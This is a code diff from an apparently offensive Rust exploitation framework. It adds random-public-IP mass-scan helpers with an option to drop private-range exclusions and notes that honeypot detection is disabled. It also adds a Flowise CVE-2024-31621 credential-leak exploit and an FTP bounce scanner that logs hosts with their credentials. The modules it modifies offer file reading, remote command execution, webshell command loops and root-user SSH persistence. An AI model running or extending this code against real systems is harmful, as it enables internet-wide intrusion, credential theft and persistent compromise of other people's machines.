use tokio::fs::OpenOptions;
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use tokio::process::Command;
|
||||
|
||||
|
||||
|
||||
/// Standard statistics tracking for bruteforce modules
|
||||
pub struct BruteforceStats {
|
||||
@@ -117,3 +123,80 @@ impl BruteforceStats {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
|
||||
let mut rng = rand::rng();
|
||||
loop {
|
||||
let octets: [u8; 4] = rng.random();
|
||||
let ip = Ipv4Addr::from(octets);
|
||||
let ip_addr = IpAddr::V4(ip);
|
||||
|
||||
// Basic check first to avoid expensive loop
|
||||
if octets[0] == 10 || octets[0] == 127 || octets[0] == 0 {
|
||||
continue;
|
||||
}
|
||||
|
||||
let mut excluded = false;
|
||||
for net in exclusions {
|
||||
if net.contains(ip_addr) {
|
||||
excluded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if !excluded {
|
||||
return ip_addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn is_ip_checked(ip: &impl ToString, state_file: &str) -> bool {
|
||||
// Ensure state file exists before checking
|
||||
if !std::path::Path::new(state_file).exists() {
|
||||
if let Ok(mut file) = OpenOptions::new()
|
||||
.create(true)
|
||||
.write(true)
|
||||
.open(state_file)
|
||||
.await
|
||||
{
|
||||
let _ = file.flush().await;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
let ip_s = ip.to_string();
|
||||
let status = Command::new("grep")
|
||||
.arg("-F")
|
||||
.arg("-q")
|
||||
.arg(format!("checked: {}", ip_s))
|
||||
.arg(state_file)
|
||||
.status()
|
||||
.await;
|
||||
|
||||
match status {
|
||||
Ok(s) => s.success(),
|
||||
Err(_) => false,
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn mark_ip_checked(ip: &impl ToString, state_file: &str) {
|
||||
let data = format!("checked: {}\n", ip.to_string());
|
||||
if let Ok(mut file) = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(state_file)
|
||||
.await
|
||||
{
|
||||
let _ = file.write_all(data.as_bytes()).await;
|
||||
}
|
||||
}
|
||||
|
||||
pub fn parse_exclusions(min_ranges: &[&str]) -> Vec<ipnetwork::IpNetwork> {
|
||||
let mut exclusion_subnets = Vec::new();
|
||||
for cidr in min_ranges {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusion_subnets.push(net);
|
||||
}
|
||||
}
|
||||
exclusion_subnets
|
||||
}
|
||||
|
||||
@@ -11,8 +11,10 @@ use reqwest::Client;
|
||||
use std::net::{IpAddr, Ipv4Addr};
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
use std::io::{self, Write};
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use tokio::sync::Semaphore;
|
||||
use tokio::sync::mpsc;
|
||||
use tokio::fs::OpenOptions;
|
||||
@@ -156,6 +158,7 @@ fn display_banner() {
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
/// Prompt user for mode, and dispatch accordingly
|
||||
/// Prompt user for mode, and dispatch accordingly
|
||||
async fn execute(target: &str) -> Result<()> {
|
||||
let client = Client::builder()
|
||||
@@ -171,55 +174,31 @@ async fn execute(target: &str) -> Result<()> {
|
||||
println!(" {} RCE (Remote Code Execution)", "[2]".green());
|
||||
println!(" {} SSH Persistence (Full Compromise)", "[3]".green());
|
||||
print!("{}", "> ".cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
io::stdout().flush().context("Failed to flush stdout")?;
|
||||
|
||||
let mut choice = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut choice)
|
||||
.await
|
||||
.context("Failed to read choice")?;
|
||||
io::stdin().read_line(&mut choice).context("Failed to read choice")?;
|
||||
match choice.trim() {
|
||||
"1" => {
|
||||
print!("{}", "Enter file path to read (e.g. /etc/passwd): ".cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
io::stdout().flush().context("Failed to flush stdout")?;
|
||||
let mut fp = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut fp)
|
||||
.await
|
||||
.context("Failed to read file path")?;
|
||||
io::stdin().read_line(&mut fp).context("Failed to read file path")?;
|
||||
exploit_lfi(&client, target, fp.trim()).await?;
|
||||
}
|
||||
"2" => {
|
||||
print!("{}", "Enter command to execute (e.g. id): ".cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
io::stdout().flush().context("Failed to flush stdout")?;
|
||||
let mut cmd = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut cmd)
|
||||
.await
|
||||
.context("Failed to read command")?;
|
||||
io::stdin().read_line(&mut cmd).context("Failed to read command")?;
|
||||
exploit_rce(&client, target, cmd.trim()).await?;
|
||||
}
|
||||
"3" => {
|
||||
// Ask for the desired password, hash it, and persist
|
||||
print!("{}", "Enter desired password for new root user: ".cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
io::stdout().flush().context("Failed to flush stdout")?;
|
||||
let mut pwd = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut pwd)
|
||||
.await
|
||||
.context("Failed to read password")?;
|
||||
io::stdin().read_line(&mut pwd).context("Failed to read password")?;
|
||||
let pwd = pwd.trim();
|
||||
if pwd.is_empty() {
|
||||
return Err(anyhow!("Password cannot be empty"));
|
||||
@@ -261,11 +240,28 @@ async fn run_mass_scan() -> Result<()> {
|
||||
println!("{}", "[*] Honeypot detection: DISABLED".yellow());
|
||||
println!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
|
||||
|
||||
// Prompt for exclusions (FIRST)
|
||||
print!("{}", "[?] Exclude reserved/private ranges? [Y/n]: ".cyan());
|
||||
io::stdout().flush()?;
|
||||
let mut excl_choice = String::new();
|
||||
io::stdin().read_line(&mut excl_choice)?;
|
||||
let use_exclusions = !matches!(excl_choice.trim().to_lowercase().as_str(), "n" | "no");
|
||||
|
||||
let mut exclusions = Vec::new();
|
||||
if use_exclusions {
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
}
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusions);
|
||||
|
||||
// Prompt for Output File
|
||||
print!("{}", "[?] Output File (default: abus_hits.txt): ".cyan());
|
||||
tokio::io::stdout().flush().await?;
|
||||
io::stdout().flush()?;
|
||||
let mut outfile = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin()).read_line(&mut outfile).await?;
|
||||
io::stdin().read_line(&mut outfile)?;
|
||||
let outfile = outfile.trim();
|
||||
let outfile = if outfile.is_empty() { "abus_hits.txt" } else { outfile };
|
||||
let outfile = outfile.to_string();
|
||||
@@ -275,9 +271,9 @@ async fn run_mass_scan() -> Result<()> {
|
||||
println!(" 1. Standard Check (Command: id)");
|
||||
println!(" 2. Custom Command");
|
||||
print!("{}", "Select option [1-2] (default 1): ".cyan());
|
||||
tokio::io::stdout().flush().await?;
|
||||
io::stdout().flush()?;
|
||||
let mut mode_str = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin()).read_line(&mut mode_str).await?;
|
||||
io::stdin().read_line(&mut mode_str)?;
|
||||
let mode = match mode_str.trim() {
|
||||
"2" => ScanMode::CustomCommand,
|
||||
_ => ScanMode::StandardCheck,
|
||||
@@ -286,19 +282,11 @@ async fn run_mass_scan() -> Result<()> {
|
||||
let mut custom_cmd = String::new();
|
||||
if let ScanMode::CustomCommand = mode {
|
||||
print!("{}", "[?] Enter Custom Command: ".cyan());
|
||||
tokio::io::stdout().flush().await?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin()).read_line(&mut custom_cmd).await?;
|
||||
io::stdout().flush()?;
|
||||
std::io::stdin().read_line(&mut custom_cmd)?;
|
||||
custom_cmd = custom_cmd.trim().to_string();
|
||||
}
|
||||
let custom_cmd = Arc::new(custom_cmd);
|
||||
|
||||
let mut exclusions = Vec::new();
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusions);
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
@@ -368,7 +356,7 @@ async fn run_mass_scan() -> Result<()> {
|
||||
|
||||
/// Entry point for the RustSploit dispatch system
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if target == "0.0.0.0/0" || target.is_empty() || target == "random" {
|
||||
if target == "0.0.0.0" || target == "0.0.0.0/0" || target.is_empty() || target == "random" {
|
||||
run_mass_scan().await
|
||||
} else {
|
||||
execute(target).await
|
||||
|
||||
@@ -7,6 +7,7 @@ use std::path::Path;
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
use std::time::Duration;
|
||||
use std::io::Write;
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
use tokio::sync::Semaphore;
|
||||
use crate::utils::escape_shell_command;
|
||||
@@ -168,10 +169,19 @@ async fn run_mass_scan() -> Result<()> {
|
||||
println!("{}", "[*] Honeypot detection: DISABLED".yellow());
|
||||
println!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
|
||||
|
||||
// Prompt for exclusions
|
||||
print!("{}", "[?] Exclude reserved/private ranges? [Y/n]: ".cyan());
|
||||
std::io::stdout().flush()?;
|
||||
let mut excl_choice = String::new();
|
||||
std::io::stdin().read_line(&mut excl_choice)?;
|
||||
let use_exclusions = !matches!(excl_choice.trim().to_lowercase().as_str(), "n" | "no");
|
||||
|
||||
let mut exclusions = Vec::new();
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
if use_exclusions {
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
}
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusions);
|
||||
@@ -220,7 +230,7 @@ async fn run_mass_scan() -> Result<()> {
|
||||
|
||||
/// Entry point required for RouterSploit-inspired dispatch system
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if target == "0.0.0.0/0" || target.is_empty() || target == "random" {
|
||||
if target == "0.0.0.0" || target == "0.0.0.0/0" || target.is_empty() || target == "random" {
|
||||
run_mass_scan().await
|
||||
} else {
|
||||
display_banner();
|
||||
|
||||
@@ -0,0 +1,50 @@
|
||||
use anyhow::Result;
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::time::Duration;
|
||||
|
||||
/// Flowise 1.6.5 Authentication Bypass (CVE-2024-31621)
|
||||
/// Unauthenticated access to /API/V1/credentials endpoint.
|
||||
///
|
||||
/// Credits:
|
||||
/// - Discovered by DhiyaneshDK (Nuclei Template)
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
// Normalize target
|
||||
let url = if target.starts_with("http") { target.to_string() } else { format!("http://{}", target) };
|
||||
let url = url.trim_end_matches('/').to_string();
|
||||
|
||||
println!("[*] Target: {}", url.cyan());
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
let check_url = format!("{}/API/V1/credentials", url);
|
||||
println!("[*] Checking {}...", check_url.cyan());
|
||||
|
||||
let resp = client.get(&check_url).send().await?;
|
||||
|
||||
if resp.status().is_success() {
|
||||
let text = resp.text().await?;
|
||||
if text.contains("credentialName") && text.contains("updatedDate") {
|
||||
println!("{}", "[+] Target is VULNERABLE! Credentials exposed.".green().bold());
|
||||
println!("[+] Response preview: {:.200}...", text);
|
||||
} else {
|
||||
println!("{}", "[-] Endpoint accessible but content doesn't match expected leak.".yellow());
|
||||
}
|
||||
} else {
|
||||
println!("{}", "[-] Request failed or credentials protected.".red());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "Flowise Authentication Bypass (CVE-2024-31621)".green().bold());
|
||||
}
|
||||
@@ -1,2 +1,3 @@
|
||||
pub mod cve_2025_59528_flowise_rce;
|
||||
pub mod cve_2024_31621;
|
||||
|
||||
|
||||
@@ -34,7 +34,7 @@ use tokio::sync::mpsc;
|
||||
use tokio::fs::OpenOptions;
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use chrono::Local;
|
||||
use crate::utils::{normalize_target, prompt_input};
|
||||
use crate::utils::normalize_target;
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 15;
|
||||
const MASS_SCAN_CONCURRENCY: usize = 100;
|
||||
@@ -319,6 +319,23 @@ async fn run_mass_scan() -> Result<()> {
|
||||
println!("{}", "[*] Honeypot detection: DISABLED".yellow());
|
||||
println!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
|
||||
|
||||
// Prompt for exclusions
|
||||
print!("{}", "[?] Exclude reserved/private ranges? [Y/n]: ".cyan());
|
||||
std::io::stdout().flush()?;
|
||||
let mut excl_choice = String::new();
|
||||
std::io::stdin().read_line(&mut excl_choice)?;
|
||||
let use_exclusions = !matches!(excl_choice.trim().to_lowercase().as_str(), "n" | "no");
|
||||
|
||||
let mut exclusions = Vec::new();
|
||||
if use_exclusions {
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
}
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusions);
|
||||
|
||||
// Prompt for Output File
|
||||
print!("{}", "[?] Output File (default: fortiweb_hits.txt): ".cyan());
|
||||
std::io::stdout().flush()?; // Use std::io for flush/read
|
||||
@@ -353,14 +370,6 @@ async fn run_mass_scan() -> Result<()> {
|
||||
custom_payload = custom_payload.trim().to_string();
|
||||
}
|
||||
let custom_payload = Arc::new(custom_payload);
|
||||
|
||||
let mut exclusions = Vec::new();
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusions);
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(MASS_SCAN_CONCURRENCY));
|
||||
let checked = Arc::new(AtomicUsize::new(0));
|
||||
@@ -423,8 +432,18 @@ async fn run_mass_scan() -> Result<()> {
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
async fn prompt_input_std(msg: &str) -> Result<String> {
|
||||
print!("{}", msg);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if target == "0.0.0.0/0" || target.is_empty() || target == "random" {
|
||||
if target == "0.0.0.0" || target == "0.0.0.0/0" || target.is_empty() || target == "random" {
|
||||
run_mass_scan().await
|
||||
} else {
|
||||
display_banner();
|
||||
@@ -439,7 +458,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!(" {} Test SQL injection only", "3.".bold());
|
||||
println!();
|
||||
|
||||
let choice = prompt_input("Select option [1-3]: ").await?;
|
||||
let choice = prompt_input_std("Select option [1-3]: ").await?;
|
||||
|
||||
match choice.as_str() {
|
||||
"1" => {
|
||||
@@ -448,7 +467,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
"{}",
|
||||
"[!] WARNING: This will write files to the target system!".yellow().bold()
|
||||
);
|
||||
let confirm = prompt_input("Continue? [y/N]: ").await?;
|
||||
let confirm = prompt_input_std("Continue? [y/N]: ").await?;
|
||||
if !confirm.eq_ignore_ascii_case("y") {
|
||||
println!("{}", "[-] Operation cancelled.".red());
|
||||
return Ok(());
|
||||
@@ -472,10 +491,10 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
// Interactive command loop
|
||||
println!();
|
||||
let interactive = prompt_input("Enter interactive mode? [y/N]: ").await?;
|
||||
let interactive = prompt_input_std("Enter interactive mode? [y/N]: ").await?;
|
||||
if interactive.eq_ignore_ascii_case("y") {
|
||||
loop {
|
||||
let cmd = prompt_input("cmd> ").await?;
|
||||
let cmd = prompt_input_std("cmd> ").await?;
|
||||
if cmd.is_empty() || cmd == "exit" || cmd == "quit" {
|
||||
break;
|
||||
}
|
||||
@@ -492,7 +511,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
"2" => {
|
||||
// Direct command execution (assumes webshell already deployed)
|
||||
println!();
|
||||
let cmd = prompt_input("Enter command to execute: ").await?;
|
||||
let cmd = prompt_input_std("Enter command to execute: ").await?;
|
||||
if cmd.is_empty() {
|
||||
return Err(anyhow!("Command cannot be empty"));
|
||||
}
|
||||
|
||||
@@ -0,0 +1,266 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use suppaftp::tokio::AsyncFtpStream;
|
||||
use suppaftp::Status;
|
||||
use std::time::Duration;
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
use tokio::sync::Semaphore;
|
||||
use tokio::fs::OpenOptions;
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use tokio::time::timeout;
|
||||
use regex::Regex;
|
||||
|
||||
use crate::utils::{
|
||||
prompt_existing_file, prompt_default, prompt_int_range,
|
||||
load_lines
|
||||
};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 8;
|
||||
const CONNECT_TIMEOUT_MS: u64 = 4000;
|
||||
|
||||
struct FtpCreds {
|
||||
ip: String,
|
||||
port: u16,
|
||||
user: String,
|
||||
pass: String,
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ FTP Bounce Vulnerability Scanner ║".cyan());
|
||||
println!("{}", "║ Tests for PORT command abuse (External/Internal) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
|
||||
// Interactive Mode Check
|
||||
let effective_target = if target.is_empty() || target == "interactive" || target == "load" {
|
||||
println!("{}", "[*] Interactive Mode".cyan());
|
||||
println!("[1] Load targets from file (supporting 'IP:PORT:USER:PASS')");
|
||||
println!("[2] Scan single target");
|
||||
|
||||
let choice = prompt_int_range("Select mode", 1, 1, 2).await?;
|
||||
if choice == 1 {
|
||||
let f = prompt_existing_file("Path to credentials file").await?;
|
||||
f
|
||||
} else {
|
||||
let t = prompt_default("Target (IP:PORT or IP:PORT:USER:PASS)", "").await?;
|
||||
t
|
||||
}
|
||||
} else {
|
||||
target.to_string()
|
||||
};
|
||||
|
||||
// Check if target is a file or single target
|
||||
let targets = if std::path::Path::new(&effective_target).is_file() {
|
||||
println!("{}", format!("[!] Parsing file '{}'", effective_target).yellow());
|
||||
parse_ftp_results(&effective_target).await?
|
||||
} else {
|
||||
// Single target handling
|
||||
parse_single_target(&effective_target)?
|
||||
};
|
||||
|
||||
if targets.is_empty() {
|
||||
return Err(anyhow!("No valid targets found."));
|
||||
}
|
||||
println!("{}", format!("[*] Loaded {} credential/target sets.", targets.len()).green());
|
||||
|
||||
let concurrency = prompt_int_range("Max concurrent checks", 50, 1, 500).await? as usize;
|
||||
let output_file = prompt_default("Output file for vulnerabilities", "ftp_bounce_results.txt").await?;
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let stats_checked = Arc::new(AtomicUsize::new(0));
|
||||
let stats_vuln = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
let total = targets.len();
|
||||
|
||||
// Stats loop
|
||||
let s_checked = stats_checked.clone();
|
||||
let s_vuln = stats_vuln.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(3)).await;
|
||||
let checked = s_checked.load(Ordering::Relaxed);
|
||||
let vuln = s_vuln.load(Ordering::Relaxed);
|
||||
println!(
|
||||
"[*] Progress: {}/{} checked, {} Vulnerable found",
|
||||
checked, total, vuln.to_string().red().bold()
|
||||
);
|
||||
if checked >= total { break; }
|
||||
}
|
||||
});
|
||||
|
||||
// Run Scans
|
||||
let mut tasks = Vec::new();
|
||||
|
||||
for target_creds in targets {
|
||||
// Safe permit acquisition
|
||||
let permit = match semaphore.clone().acquire_owned().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => break, // Check if semaphore closed
|
||||
};
|
||||
let sc = stats_checked.clone();
|
||||
let sv = stats_vuln.clone();
|
||||
let of = output_file.clone();
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if check_bounce_vulnerability(&target_creds, &of).await {
|
||||
sv.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
}));
|
||||
}
|
||||
|
||||
// Wait all
|
||||
for t in tasks {
|
||||
let _ = t.await;
|
||||
}
|
||||
|
||||
println!("\n{}", "[*] Scan Completed.".green().bold());
|
||||
println!("[+] Results saved to {}", output_file.cyan());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn parse_single_target(raw: &str) -> Result<Vec<FtpCreds>> {
|
||||
// Attempt parse as "IP:PORT:USER:PASS"
|
||||
// Regex matches 4 groups separated by colons
|
||||
let re_full = Regex::new(r"^([^:]+):(\d+):([^:]+):(.*)$").map_err(|e| anyhow!("Regex error: {}", e))?;
|
||||
|
||||
if let Some(caps) = re_full.captures(raw) {
|
||||
let ip = caps.get(1).map_or("", |m| m.as_str()).to_string();
|
||||
let port = caps.get(2).map_or("21", |m| m.as_str()).parse().unwrap_or(21);
|
||||
let user = caps.get(3).map_or("", |m| m.as_str()).to_string();
|
||||
let pass = caps.get(4).map_or("", |m| m.as_str()).to_string();
|
||||
return Ok(vec![FtpCreds { ip, port, user, pass }]);
|
||||
}
|
||||
|
||||
// Fallback: Just IP or IP:PORT, assumes anonymous
|
||||
let (ip, port) = if raw.matches(':').count() == 1 {
|
||||
let parts: Vec<&str> = raw.split(':').collect();
|
||||
let p_val = parts.get(1).unwrap_or(&"21").parse().unwrap_or(21);
|
||||
(parts[0].to_string(), p_val)
|
||||
} else if !raw.contains(':') {
|
||||
(raw.to_string(), 21)
|
||||
} else {
|
||||
// Ambiguous format, possibly IPv6? Ignore for now or treat as string
|
||||
(raw.to_string(), 21)
|
||||
};
|
||||
|
||||
// If it *looks* like an IP, return default creds
|
||||
if !ip.is_empty() {
|
||||
return Ok(vec![FtpCreds { ip, port, user: "anonymous".to_string(), pass: "anonymous".to_string() }]);
|
||||
}
|
||||
|
||||
Err(anyhow!("Invalid target format. Expected IP:PORT:USER:PASS or IP/IP:PORT"))
|
||||
}
|
||||
|
||||
async fn parse_ftp_results(path: &str) -> Result<Vec<FtpCreds>> {
|
||||
let lines = load_lines(path)?;
|
||||
let mut creds = Vec::new();
|
||||
|
||||
// Standard Format: IP:PORT:USER:PASS
|
||||
let re_std = Regex::new(r"^([^:]+):(\d+):([^:]+):(.*)$").map_err(|e| anyhow!("Regex error: {}", e))?;
|
||||
|
||||
// Legacy/Old formats support (optional but good for transitions)
|
||||
// IP:PORT [ANONYMOUS...]
|
||||
let re_anon_old = Regex::new(r"^([^:]+):(\d+)\s+\[ANONYMOUS").map_err(|e| anyhow!("Regex error: {}", e))?;
|
||||
|
||||
for line in lines {
|
||||
if let Some(caps) = re_std.captures(&line) {
|
||||
let ip = caps.get(1).map_or("", |m| m.as_str()).to_string();
|
||||
let port = caps.get(2).map_or("21", |m| m.as_str()).parse().unwrap_or(21);
|
||||
let user = caps.get(3).map_or("", |m| m.as_str()).to_string();
|
||||
let pass = caps.get(4).map_or("", |m| m.as_str()).to_string();
|
||||
creds.push(FtpCreds { ip, port, user, pass });
|
||||
} else if let Some(caps) = re_anon_old.captures(&line) {
|
||||
let ip = caps.get(1).map_or("", |m| m.as_str()).to_string();
|
||||
let port = caps.get(2).map_or("21", |m| m.as_str()).parse().unwrap_or(21);
|
||||
creds.push(FtpCreds { ip, port, user: "anonymous".to_string(), pass: "anonymous".to_string() });
|
||||
}
|
||||
}
|
||||
|
||||
Ok(creds)
|
||||
}
|
||||
|
||||
async fn check_bounce_vulnerability(creds: &FtpCreds, output_file: &str) -> bool {
|
||||
let addr = format!("{}:{}", creds.ip, creds.port);
|
||||
|
||||
// Connect
|
||||
let mut ftp = match timeout(Duration::from_millis(CONNECT_TIMEOUT_MS), AsyncFtpStream::connect(&addr)).await {
|
||||
Ok(Ok(f)) => f,
|
||||
_ => return false,
|
||||
};
|
||||
|
||||
// Login
|
||||
if ftp.login(&creds.user, &creds.pass).await.is_err() {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Set Checks
|
||||
let mut is_vuln = false;
|
||||
let mut ext_vuln = false;
|
||||
let mut int_vuln = false;
|
||||
|
||||
// Test 1: External Bounce (Google DNS 8.8.8.8:53)
|
||||
// PORT command format: h1,h2,h3,h4,p1,p2
|
||||
let ext_test = "PORT 8,8,8,8,0,53";
|
||||
match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), ftp.custom_command(ext_test, &[Status::CommandOk])).await {
|
||||
Ok(Ok(resp)) => {
|
||||
// Check for 200 OK
|
||||
if (resp.status as u32) == 200 {
|
||||
ext_vuln = true;
|
||||
is_vuln = true;
|
||||
}
|
||||
},
|
||||
_ => {}
|
||||
}
|
||||
|
||||
// Test 2: Internal Bounce (Common Gateways)
|
||||
// 192.168.1.1:80 => 192,168,1,1,0,80
|
||||
// 10.0.0.1:80 => 10,0,0,1,0,80
|
||||
// We try a few. If ANY work, we flag it.
|
||||
let int_tests = vec![
|
||||
"PORT 192,168,1,1,0,80",
|
||||
"PORT 10,0,0,1,0,80",
|
||||
"PORT 172,16,0,1,0,80",
|
||||
"PORT 127,0,0,1,0,22" // Bounce to self?
|
||||
];
|
||||
|
||||
for cmd in int_tests {
|
||||
if timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), ftp.custom_command(cmd, &[Status::CommandOk])).await
|
||||
.ok()
|
||||
.and_then(|r| r.ok())
|
||||
.map(|r| (r.status as u32) == 200)
|
||||
.unwrap_or(false)
|
||||
{
|
||||
int_vuln = true;
|
||||
is_vuln = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
let _ = ftp.quit().await;
|
||||
|
||||
if is_vuln {
|
||||
let msg = format!(
|
||||
"{} -> {}:{} [VULNERABLE] [Ext Bounce: {}] [Int Bounce: {}]",
|
||||
addr, creds.user, creds.pass,
|
||||
if ext_vuln { "YES".red().bold() } else { "NO".dimmed() },
|
||||
if int_vuln { "YES".red().bold() } else { "NO".dimmed() }
|
||||
);
|
||||
println!("\r[+] Found: {}", msg);
|
||||
|
||||
let file_log = format!("{} -> {}:{} [VULNERABLE] [Ext Bounce: {}] [Int Bounce: {}]\n",
|
||||
addr, creds.user, creds.pass,
|
||||
if ext_vuln { "YES" } else { "NO" },
|
||||
if int_vuln { "YES" } else { "NO" });
|
||||
|
||||
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(output_file).await {
|
||||
let _ = file.write_all(file_log.as_bytes()).await;
|
||||
}
|
||||
}
|
||||
|
||||
is_vuln
|
||||
}
|
||||
@@ -1 +1,2 @@
|
||||
pub mod pachev_ftp_path_traversal_1_0;
|
||||
pub mod ftp_bounce_test;
|
||||
|
||||
@@ -300,6 +300,23 @@ async fn run_mass_scan() -> Result<()> {
|
||||
println!("{}", "[*] Honeypot detection: DISABLED".yellow());
|
||||
println!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
|
||||
|
||||
// Prompt for exclusions
|
||||
print!("{}", "[?] Exclude reserved/private ranges? [Y/n]: ".cyan());
|
||||
io::stdout().flush()?;
|
||||
let mut excl_choice = String::new();
|
||||
io::stdin().read_line(&mut excl_choice)?;
|
||||
let use_exclusions = !matches!(excl_choice.trim().to_lowercase().as_str(), "n" | "no");
|
||||
|
||||
let mut exclusions = Vec::new();
|
||||
if use_exclusions {
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
}
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusions);
|
||||
|
||||
// Prompt for Output File
|
||||
print!("{}", "[?] Output File (default: hikvision_hits.txt): ".cyan());
|
||||
io::stdout().flush()?;
|
||||
@@ -332,14 +349,6 @@ async fn run_mass_scan() -> Result<()> {
|
||||
custom_payload = custom_payload.trim().to_string();
|
||||
}
|
||||
let custom_payload = Arc::new(custom_payload);
|
||||
|
||||
